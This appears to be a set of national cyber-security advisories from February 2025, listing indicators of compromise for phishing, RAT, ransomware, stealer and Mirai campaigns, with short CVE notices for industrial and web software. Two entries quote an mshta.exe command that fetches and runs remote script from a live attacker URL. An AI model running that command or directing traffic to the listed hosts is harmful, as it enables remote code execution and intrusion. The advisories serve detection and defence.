**Cyber Security Advisories**

**Date: 28 Febuary 2025**

1. **TA-MAW-2025-01-31-037**

Based on analysis, please find below malicious IoCs targeting Critical Information Infrastructures (CII). Consider life span for malicious IP addresses at least 14 days.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IPs:**

178.72.71.116

120.86.255.252

103.200.86.167

118.107.47.82

154.213.189.145

103.200.86.130

5.189.153.135

188.165.36.60

202.43.120.85

59.182.118.124

120.85.118.167

45.164.177.74

27.43.207.244

113.111.245.237

59.183.171.13

216.9.226.154

123.58.111.194

27.122.61.50

45.164.177.21

218.78.89.139

120.85.182.166

103.199.202.171

185.121.15.223

27.157.168.139

216.9.226.158

27.124.41.210

45.164.177.82

223.155.148.46

216.9.226.148

141.255.166.90

27.43.206.177

**URLs:-**

http://112.113.242.199:37151/

http://61.163.156.19:41935/

http://45.164.177.215:11175/

http://45.164.177.249:10486/

http://117.254.39.161:51466/

http://161.248.54.164:34154/

http://45.230.66.0:11659/

http://221.15.13.198:38632/

http://117.211.50.127:48935/

http://123.185.9.57:59573/

http://182.126.123.173:45305/

http://39.42.231.62:36166/

http://117.223.239.176:57895/

http://125.47.48.34:34113/

http://110.183.152.220:38189/

http://45.164.177.220:11984/

http://103.207.124.134:38298/

http://211.148.104.143:41836/

http://42.224.31.157:52542/

http://117.215.245.132:36295/

http://45.164.177.33:10088/

http://178.74.250.99:47583/

http://117.216.30.82:38963/

http://42.235.178.13:36504/

http://117.209.23.242:35301/

http://219.157.177.2:35532/

http://105.99.134.59:56627/

http://113.221.47.110:51569/

http://103.208.230.33:48615/

http://182.120.61.201:51341/

http://119.167.24.42:47818/

http://117.209.241.38:52155/

http://103.197.112.218:36446/

http://61.3.174.70:54294/

http://103.199.180.213:59939/

http://27.0.217.89:44122/

http://42.225.229.53:57870/

http://123.4.183.18:38234/

http://117.199.0.212:47713/

http://117.205.177.184:48841/

http://110.182.76.214:57443/

http://60.215.196.162:37402/

http://27.217.187.79:33530/

http://221.15.187.236:39763/

http://223.8.201.124:57366/

http://103.247.52.66:48228/

http://27.215.99.134:46544/

http://117.199.72.202:49875/

http://117.199.24.150:39757/

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-PHI-2025-01-31-018**

It has been observed that adversaries are targeting government personnel using spoofed/compromised email IDs, malicious domains, Phishing web pages and Vishing techniques. The phishing email contains a hyperlink with the title "CYBER\_SECURITY\_FRAUD.zip" which looks like an attachment. Upon clicking download, it downloads an archive file "CYBER\_SECURITY\_FRAUD.zip". Upon extraction of the archive file, it contains" CYBER\_SECURITY\_FRAUD .pdf.lnk", which is a shortcut file of Windows Operating System. On clicking the shortcut file, it downloads and executes "mshta.exe" with the command and URL ("C:\Windows\System32\mshta.exe" https://wallkings.in/admin/assets/content/01/display/index.php &$& mshta.exe"). Execution of "mshta.exe" makes connection with the URL "https://wallkings.in/admin/assets/content/01/display/index.php". This file is capable of executing JavaScript or VBScript from a remote server, providing attackers with a means to execute code on a target system.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**URL:-**

https://wallkings.in/admin/assets/content/01/display/index.php

**Domain:-**

wallkings.in

**IPs:-**

69.49.233.152

**Hashes**:

f328fdcff05bf02c2c986d52aed8bc2a

dd8b22acea424823bb64abf71f61a03d41177c38

e616c5ce71886652c13e2e1fa45a653b44d492b054f16b15a38418b8507f57c7

**Filename:**

CYBER\_SECURITY\_FRAUD.zip

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-MAW-2025-01-31-038**

It has been observed that threat actors are using phishing emails for delivering multiple Remote Access Tool (RAT) payloads onto victims' endpoints, such as XWorm, AsyncRat, DCRat, and VenomRat, at the same time. Adversary utilized Web Distributed Authoring and Versioning (WebDAV) configurations for this purpose. In each instance, threat actors deployed a server powered by WsgiDAV, a generic and extendable WebDAV server written in Python and based on the Web Server Gateway Interface (WSGI). These WebDAV servers offer threat actors a simple way to host numerous other payloads with the ability to change them in the future according to their needs.

1. **TA-MAW-2025-01-31-039**

The presence of malicious IoCs has been found in Indian Cyberspace.

Please find below IOCs in this regard.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IPs:**

188.114.96.3

188.114.97.3

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **VA-2025-02-03-001**

**Multiple Vulnerabilities in Hitachi Energy's Equipment**

Multiple vulnerabilities have been discovered in Hitachi Energy's Equipment- UNEM. The affected versions are UNEM versions R15A and prior, UNEM R15B, UNEM R15B PC4, UNEM R16A, UNEM R16B, and UNEM R16B PC2. The mitigations are available.

CVE ID: CVE-2024-2013 (Critical), CVE-2024-2012 (Critical), CVE-2024-2011 (High), CVE-2024-28021 (High), CVE-2024-28023 (Medium), CVE-2024-28022 (High), CVE-2024-28024 (Low), CVE-2024-28020 (High)

**Multiple Vulnerabilities in Schneider Electric's Equipment**

Multiple vulnerabilities have been discovered in Schneider Electric's Equipment- Harmony Industrial PC, Pro-face Industrial PC. All versions of System Monitor application in Harmony Industrial PC and System Monitor application in Pro-face Industrial PC are affected.

CVE ID: CVE-2024-8884 (Critical)

**Multiple Vulnerabilities in Contec Health's Equipment**

Multiple vulnerabilities have been disovered in Contec Health's Equipment- CMS8000 Patient Monitor. The mitigations are available.

CVE ID: CVE-2024-12248 (Critical), CVE-2025-0626 (High), CVE-2025-0683 (Medium)

**Rockwell Automation Released Security Updates**

Rockwell Automation has released security updates to address multiple vulnerabilities in FactoryTalk AssetCentre. All versions of FactoryTalk AssetCentre prior to V15.00.001 are affected.

CVE ID: CVE-2025-0477 (Critical), CVE-2025-0497 (High), CVE-2025-0498 (High)

**Vulnerability in WordPress Media Manager for UserPro plugin**

A privilege escalation vulnerability has been discovered in WordPress Media Manager for UserPro plugin. The affected versions are Media Manager for UserPro plugin, all versions up to and including 3.11.0.

CVE ID: CVE-2024-12822 (Critical)

**Vulnerability in WordPress iControlWP plugin**

A PHP object injection vulnerability has been discovered in WordPress iControlWP plugin. The affected versions are iControlWP plugin, all versions up to and including 4.4.5.

CVE ID: CVE-2024-13742 (Critical)

**Vulnerability in Microsoft Azure AI Face Service**

An elevation of privilege vulnerability has been discovered in Microsoft Azure AI Face Service. This vulnerability has been fully mitigated by Microsoft.

CVE ID: CVE-2025-21415 (Critical)

**Vulnerability in OpenImageIO**

A heap overflow vulnerability has been discovered in OpenImageIO. The affected version is OpenImageIO v3.1.0.0dev.

CVE ID: CVE-2024-55194 (Critical)

**Vulnerability in OpenImageIO**

A segmentation violation vulnerability has been discovered in OpenImageIO. The affected version is OpenImageIO v3.1.0.0dev.

CVE ID: CVE-2024-55193 (Critical)

**Vulnerability in Eclipse Mosquitto**

An out of bounds memory access vulnerability has been discovered in Eclipse Mosquitto. The affected versions are Eclipse Mosquitto from version 1.3.2 through 2.0.18.

CVE ID: CVE-2024-10525 (Critical)

**Security Updates for WordPress MultiVendorX – The Ultimate WooCommerce Multivendor Marketplace Solution plugin**

WordPress has released security updates to resolve a limited local file inclusion vulnerability in the MultiVendorX – The Ultimate WooCommerce Multivendor Marketplace Solution plugin. The affected versions are MultiVendorX – The Ultimate WooCommerce Multivendor Marketplace Solution plugin, all versions up to and including 4.2.14.

CVE ID: CVE-2025-0493 (Critical)

**Vulnerability in SimpleHelp Remote Support Software**

A privilege escalation vulnerability has been discovered in SimpleHelp remote support software. The affected versions are SimpleHelp remote support software v5.5.7 and before.

CVE ID: CVE-2024-57726 (Critical)

**Vulnerability in JetBrains**

A path traversal vulnerability has been discovered in JetBrains YouTrack. The affected versions are JetBrains YouTrack before 2024.3.51866.

CVE ID: CVE-2024-54154 (Critical)

1. **TA-MAW-2025-02-03-001**

It has been observed that threat actors in the CL-STA-0048 campaign utilize various tactics to evade detection, bypass security measures and exfiltrate sensitive data from high-value targets. Adversary takes advantage of unpatched vulnerabilities in widely used services such as IIS, Apache Tomcat, and MSSQL. Adapting to evolving defenses, the adversary deploys unique and rarely seen techniques to bypass security and achieve their objectives. The main goal is to gather personal information of government employees and steal sensitive data from targeted organizations. Upon successfully compromising the victim's system, the attacker deploys multiple web shells, including ColdFusion web shells, as well as malware like PlugX and Cobalt Strike.

Techniques used by the attacker:

* Hex Staging: Incrementally writes hex-encoded data into a temporary file piece by piece, using commands passed to cmd.exe. This method avoids detection systems that scan for direct file writes.
* DNS Logging Service: Used to  exfiltrate command output.
* KCP Protocol: Leveraging the KCP Protocol for downloading Winos4.0-based Downloader.

Malware/tool used by attacker:

* SspiUacBypass:- Open source Privilege Escalation Tool used to  bypass User Account Control (UAC).
* The Potato Suite:- A collection of various open source native Windows privilege escalation tool used to  gain system-level access, allowing high-privilege operations and command execution without user interaction.
* SoftEther VPN:- It is flexible and multi-protocol support used for stealthy communications and bypassing network restrictions.
* Winos4.0-Based Downloader:- It is written in C++ and targets the Windows platform. Winos has features that include file management, Distributed Denial of Service (DDoS) using TCP/UDP/ ICMP/HTTP, full disk search, webcam control, and screen capturing.
* Supershell:-  It is a Command & Control (C2) remote control platform accessed through a WEB service. It establishes a reverse SSH tunnel to obtain a fully interactive Shell and supports multi-platform architecture Payload.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Domains:**

h5.nasa6.com

test.nulq5r.ceye.io

web.nginxui.cc

sentinelones.com

mail.tttseo.com

**IPs:**

43.247.135.106

38.54.30.117

38.54.56.88

65.20.69.103

52.77.234.115

192.227.180.124

107.174.39.125

18.183.94.114

206.237.0.49

154.201.68.57

**HASHES:**

a09179dec5788a7eee0571f2409e23df57a63c1c62e4b33f2af068351e5d9e2d

edc9222aece9098ad636af351dd896ffee3360e487fda658062a9722edf02185

35da93d03485b07a8387e46d1ce683a81ae040e6de5bb1a411feb6492a0f8435

336892ff8f07e34d18344f4245406e001f1faa779b3f10fd143108d6f30ebb8a

c5af6fd69b75507c1ea339940705eaf61deadd9c3573d2dec5324c61e77e6098

8dfc107662f22cff20d19e0aba76fcd181657255078a78fb1be3d3a54d0c3d46

3503d6ccb9f49e1b1cb83844d1b05ae3cf7621dfec8dc115a40abb9ec61b00bb

0f85b67f0c4ca0e7a80df8567265b3fa9f44f2ad6ae09a7c9b7fac2ca24e62a8

525540eac2d90c94dd3352c7dd624720ff2119082807e2670785aed77746301d

af0baf0a9142973a3b2a6c8813a3b4096e516188a48f7fd26ecc8299bce508e1

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-RAN-2025-02-03-001**

It has been observed that the HellCat ransomware exploits vulnerabilities in enterprise software tools like Jira for initial system access, using privilege escalation for persistence and lateral movement and shares similarities with Morpheus ransomware. Adversary uses strategies like double-extortion, which entails data exfiltration before encrypting computers. The ransomware uses psychological tricks to attract attention and coerce victims into paying demands for ransom. The adversary targets high-value industries like government, energy and education. The malware employs the T1486 technique (Data Encrypted for Impact) for file encryption and is distributed via malicious infrastructure linked to an onion domain.  Adversary operates primarily through a Ransomware-as-a-Service (RaaS) model, providing ransomware tools and infrastructure to affiliates in exchange for a share of the profits.

**MITRE ATTACK IDENTIFIER**:

T1486 (Data Encrypted for Impact)

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Hashes:**

b834d9dbe2aed69e0b1545890f0be6f89b2a53c7

f62d2038d00cb44c7cbd979355a9d060c10c9051

f86324f889d078c00c2d071d6035072a0abb1f73

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-PHI-2025-02-03-001**

It has been observed that adversaries are targeting government personnel using spoofed/compromised email IDs, malicious domains, Phishing web pages and Vishing techniques. The email contains an attachment named "Network Analyzir.rar" which disguises itself as a legitimate network monitoring tool, but it is a malicious file. Upon clicking, it downloads "Network Analyzir.tar" which contains a file "Network Analyzir", which is an ELF (Executable and Linkable Format file) of the Linux Operating System. Upon execution, the ELF file opens a connection to URL "http://176.65.141.63:5223/health" at PORT '5223' and awaits server response. It belongs to Chaos Rat malware. The ELF file performs various functions, such as credential access, system information, Command & Control (C2) server, data destruction (Destroy system and data).

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Hashes:**

f9d6fa46a2059235655c5318227d4835

653c7a95e4d03518f8995cf05a0b4c36

e0832642eb709fc653e1e7ec689d9da45162a1b1

 ec4f3a921da4b2f760ae8212d7dfa9e6f82dabc9

68cfa09cf83a02c0c38ae95598d8660611efaf01a34c68157b6cfc9011ee5e13

1e074d9dca6ef0edd24afb2d13ca4429def5fc5486cd4170c989ef60efd0bbb0

**IPs:-**

176.65.141.63

146.70.142.130

**Filenames:**

Network Analyzir.rar

Network Analyzir

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-PHI-2025-02-04-002**

It has been observed that adversaries are targeting government personnel using spoofed/compromised email IDs, malicious domains, Phishing web pages and Vishing techniques. The phishing email contains a hyperlink with the title "CYBER\_SECURITY\_FRAUD.zip" which looks like an attachment. Upon clicking download, it downloads an archive file "CYBER\_SECURITY\_FRAUD.zip". Upon extraction of the archive file, it contains" CYBER\_SECURITY\_FRAUD .pdf.lnk", which is a shortcut file of Windows Operating System. On clicking the shortcut file, it downloads and executes "mshta.exe" with the command and URL ("C:\Windows\System32\mshta.exe" https://wallkings.in/admin/assets/content/01/display/index.php &$& mshta.exe"). Execution of "mshta.exe" makes connection with the URL "https://wallkings.in/admin/assets/content/01/display/index.php". This file is capable of executing JavaScript or VBScript from a remote server, providing attackers with a means to execute code on a target system.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**URL:-**

https://email.gov.in.departmentofdefence.cc/service/home/?auth=co&id=29238&filename=MIN%20OF%20Def%20Army%20Integrated%20Headquarters%20&charset=UTF-8

**Domain:-**

departmentofdefence.cc

**IP:-**

154.216.17.126

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-MAW-2025-02-04-002**

During analysis of Mirai samples over a week, following IOCs have been found. There are couple of things to be aware of while looking at this data:

Network IOCs may be associated with binary distribution or one of the "cnc" or "report" functions.

Network IOCs are identified from newly identified samples but may themselves not necessarily be new.

Because of nature of the static analysis, there is MODERATE confidence in accuracy of the network IOCs..

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IPs:**

146.190.92.84

94.156.189.224

45.139.104.147

96.62.214.33

**Hashes:**

0ba548494a154551a96b839b3c822dca46218a28ff44a5bf0d0efeeeed7fbc3f

181bff7efe2545b79f3167790f42d84a419d4b3feaab980f3e3265a9d007deb5

21b90be6c80ca17b04b98ab0746f333e41377a8d829ecc687013e891920a2c40

220f0f7b509610bdb4a6122cc26ca8c14657cd96368691642c4cc919c9e2e681

363b4aba868b611d603b83e743651954acde7934efc75ac05bfeb50245c623d0

3eb300e1f120986dbde2d2df3f240c685fca8ce2b9e18dc1755998e64954a6c2

43cb6953cdaa7d9a4063f92314dcf3119b0a1f392d366962cb105fcddef1f99a

4826f6dc3fb5abb9991adb8399a7f6ca30345c156d32aa942fc30fc3dc29e730

492f8e06eb397e8ff4f08897bad5c4a833d6edfd8aa843f8094e70ca0040ef5d

4d0bb4f7ac1a9a4ae634a006e6ed967410f58575ac49aa8cf5ea3ee461407bcb

50c62015b79b51d731b635f31bc2bf591e053fa385c837e08f8df9a397f49783

5490607743967a0dc5f1b398212ff637df99d1096db37c3c4245573cda0a5d03

58d25cb13ca1aed16d98f353f616fe2c77c89e521004ec28fa0b90ecaf8589c1

5c26bf38dc39ba60020b173b7d4e54518505673b7257b5c971854c146da8fd2a

647ec4b1607397029217b48df3c7b54f821a642304584f6a6dc0d44815b971ce

6ad631c108189424e2cd5f715ccb8dc61e2277b7c674a79abdb8026761cacc30

6c311fd3d94d8e9f55e5ae56c71f91a38685bdb4bdb05a21402aaad89211436d

6c78e3a0e2de53fd192702010c0b7f72368a1022d8a0cc9855de7e2b885f1569

703553b3b31c7ae409f55b4de26be3877549f3de5da7d63bf233ede3e2bff943

7308343ed5011ec60c623b2a1fcef54ca99ca866bcec5e3749d3b26337efc298

74d46c83d8baa687288343a2c739146a083a0e1c7ef87bfbda3c43e7d64ed9b5

7f67e87461357cd165891005a9b238e860e1a1862bd5d9fe2da1a090b983e079

84733724455b0ff8a6cf328b1e33cfd84e75e8b4fb4bc6a65d3686633497df33

913720e308902b3f39f9787f8cba61272fa7dead02b4cbe83aec3d1182101509

92278b4d0f2995c9c7a79173b65e00005e56bd75229c4c7016b266d304232e25

98a26d3c0e525f01c713a138e997c662f9ec066fd85000b4f854676e4307ea06

9b1bd54eb90a60258f0554b76d9eda225b62ade0e185ff69e1a366cefa185102

a36bbe253d656c21f4d9b972282ab9efc4a8eaa83b8c81ab37ac5d44752c6fde

a6cdcd46b62fed6277bddab61ede4719455c814ebe8e746b72042f2266afbe02

ae6ef89bdb7e2f40efa147280d7a6c3c7e1284e131d75c7444ee63fafaf085d3

b14eb88c10dd4b0e377343dd681955090ed0d6066e603b35786f5528f3e036a9

b69d437cc6044dabf2d4baff58d27b8616bbbf8c8d5486d25434e78bde3796d0

b7cb58b1c5c05ed7ffe4dc4b212c95a599a0ad40423522893e7e889192c3b39f

bb78e6d4b152e0de4eeeb7f9fb422ad94443abd487f8f371932168b2c71f95a7

c9d335aff9f73dc4cfb607bf6050eba7863bf15f1e14841f5beb304b898fc4ba

d05488653fd3be0f851993d4cf9a42550d0f9c4540ea7de92bc1a141012bb373

d5b927951efd44d9603fb467e1fd73a31375a43b39449880b6916e5804ed891c

dd49a8dd642fc19b76d8d0e9461e57103a3d5f4dd980a20bd2448dd0639877de

dd597f1c80048578089c6a2235c51cf0d6936a87aefd06bab91cf11c8c5409a2

e58ceefb085b0dbf549a70ba8f3ea1e8907c26b8b8cf1c471a9aa0729bef03df

ec85e449e545fef36ee5a55ad230ae33f03a9a81355af33b023a5614d36c47ef

efcc3ce8da7c3109a96bee38aad2079b9e81a6b6fa95c035d1c07c50c5f84a9b

f2e6fecec8fd73c2549f684c4c6892517bbc7061584578dec53da0ce776cd391

f8ef935bccc52c597e5d9d6c12f076179bc5dec87d803b85aad81f9fa135a684

**\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\***

1. **TA-MAW-2025-02-04-003**

Based on analysis, please find below malicious IoCs targeting Critical Information Infrastructures (CII). Consider life span for malicious IP addresses at least 14 days.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IPs:**

27.43.207.98

103.163.215.73

119.0.27.38

141.255.166.90

178.162.172.219

159.65.8.229

213.100.195.174

45.164.177.50

71.207.64.66

178.72.70.3

87.106.94.93

120.85.115.133

87.121.84.7

117.235.37.97

223.13.59.201

45.178.249.11

120.85.114.72

77.239.213.174

45.178.249.62

178.72.68.108

175.9.231.34

103.15.254.158

77.239.215.104

163.172.219.211

45.164.177.203

82.180.146.166

159.223.45.59

120.85.119.243

27.128.162.92

223.12.4.188

157.231.51.20

125.47.194.39

116.58.36.26

122.97.136.222

103.207.125.86

45.164.177.35

103.15.254.83

103.15.254.79

219.155.238.136

178.72.88.75

120.85.119.81

45.164.177.56

120.85.112.97

222.104.180.217

120.85.93.183

103.200.86.50

120.86.253.191

**URLs:-**

http://213.100.195.174:55920/

http://37.232.77.54:48663/

http://123.7.245.248:43766/

http://117.209.32.54:45680/

http://27.0.217.62:48387/

http://117.209.80.122:39240/

http://223.13.59.201:49241/

http://180.116.57.2:56923/

http://42.243.140.227:42495/

http://59.97.252.159:35930/

http://117.215.221.3:49298/

http://45.178.249.200:11153/

http://103.199.205.165:47333/

http://59.88.25.50:56726/

http://45.164.177.203:10466/

http://102.33.35.148:55206/

http://115.58.147.16:46567/

http://178.92.108.55:52392/

http://117.254.57.123:34824/

http://103.208.104.236:39555/

http://1.70.9.119:50608/

http://42.235.78.57:55660/

http://45.164.177.42:10865/

http://45.178.251.160:10286/

http://117.235.158.138:55190/

http://182.60.15.86:34558/

http://114.239.24.235:32908/

http://71.207.64.66:55204/

http://139.5.0.185:48096/

http://117.255.183.223:56723/

http://117.253.100.2:49664/

http://117.209.2.50:45813/

http://112.113.84.216:59305/

http://27.208.167.45:49176/

http://117.194.28.19:47920/

http://112.64.155.152:41895/

http://117.209.84.1:51634/

http://103.199.180.101:54799/

http://115.50.54.103:48481/

http://45.164.177.217:11595/

http://36.49.65.2:47727/

http://59.183.133.116:38864/

http://180.115.160.112:59646/

http://125.47.194.39:33021/

http://103.197.113.39:50972/

http://117.213.50.100:36860/

http://103.207.125.172:59008/

http://223.8.219.213:40438/

http://117.235.101.125:47374/

http://125.253.19.166:60766/

http://59.88.224.63:33056/

http://59.89.12.193:55166/

http://175.107.0.245:39969/

http://117.206.31.67:48766/

http://45.164.177.50:11210/

http://178.92.109.190:58809/

http://103.199.180.185:56478/

http://1.70.14.188:53918/

http://222.104.180.217:19490/spread.txt

http://117.199.9.160:58847/

http://59.183.8.104:37028/

http://117.254.61.102:60483/

http://178.162.172.219/

http://123.175.27.142:44905/

http://103.203.72.122:54358/

http://222.142.246.179:43560/

http://175.107.0.215:45597/

http://223.12.4.188:37157/

http://42.224.147.65:58312/

http://117.80.182.15:51442/

http://175.107.3.193:51881/

http://117.254.59.99:47837/

http://61.1.235.209:47859/

http://103.207.125.160:41554/

http://45.164.177.167:11577/

http://45.164.177.201:11224/

http://1.70.11.38:44332/

http://117.235.63.168:49995/

http://103.208.231.223:37685/

http://45.178.249.11:10916/

http://175.107.2.137:44701/

http://201.110.21.43:54257/

http://103.207.124.222:43414/

http://117.198.15.234:58764/

http://103.20.3.139:46650/

http://119.185.189.146:57626/

http://123.13.164.32:41461/

http://103.207.124.147:54311/

http://120.61.10.83:58252/

http://219.155.238.136:51344/

http://45.178.249.62:10979/

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-MAW-2025-02-04-004**

It has been observed that the ATOMIC Stealer, also known as Atomic macOS Stealer, a data miner written in Go, is distributed via phishing, malvertising and unsigned DMG files. Adversary targets the macOS environment. It can exfiltrate browser data, cryptocurrency wallets, system information and files in the Desktop & Documents folder. Collected data is sent to a Command & Control (C2) server over HTTP.

**MITRE ATT&CK Enterprise Identifiers**

* Command and Scripting Interpreter(T1059)
* AppleScript(T1059.002)
* Process Injection(T1055)
* Obfuscated Files or Information (T1027)
* Input Capture(T1056)
* Credentials from Password Stores(T1555)
* Credentials from Web Browsers(T1555.003)
* Application Layer Protocol(T1071)
* Process Discovery(T1057)
* System Information Discovery(T1082)
* File and Directory Discovery(T1083)

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Domains:**

blacksaltys.com

fetchdataajax.com

foundedbrounded.org

groundrats.org

leatherbook.org

loopconstruct.com

modernkeys.org

objmapper.com

packedbrick.com

promiseresolverdev.com

rednosehorse.com

smthwentwrong.com

variablescopetool.com

Blackshelter.org

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-PHI-2025-02-04-003**

It has been observed that adversaries are targeting government personnel using spoofed/compromised email IDs, malicious domains, Phishing web pages and Vishing techniques. The phishing email contains a link "https://email-nic.site/ ". Upon clicking, it opens a phishing page of NIC email login. The IP address on which domain is hosted is malicious and currently active to potentially compromise the user credentials/propagate malware payload.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**URL:-**

https://email-nic.site/

**Domain:-**

Email-Nic.site

**IPs:-**

104.21.52.132

176.223.173.198

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-PHI-2025-02-04-004**

It has been observed that numerous phishing domains/sub-domains have been registered by cyber threat actors. These domains intend to target personnel belonging to the government, defence, central investigating agencies and the judiciary.

Please find below malicious domains that are targeting Critical Sector Entities (CIIs).

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Domains:**

email.gov.in.defenceindia.link

bnd.ndmc.gov.in.viewcrti.info

ww25.gov.in.birthctifecate.live

\*.defenceindia.link

\*.viewcrti.info

\*.birthctifecate.live

www.prb.wb.gov.in.onlinepanel.site

ww25.cowin.gov.inwww.thanksuser.xyz

uniquesewa.site

cbigovt.com.digitalhai.com

meet.ongc.co

indanoil.in

email.gov.in.departmentofdefence.cc

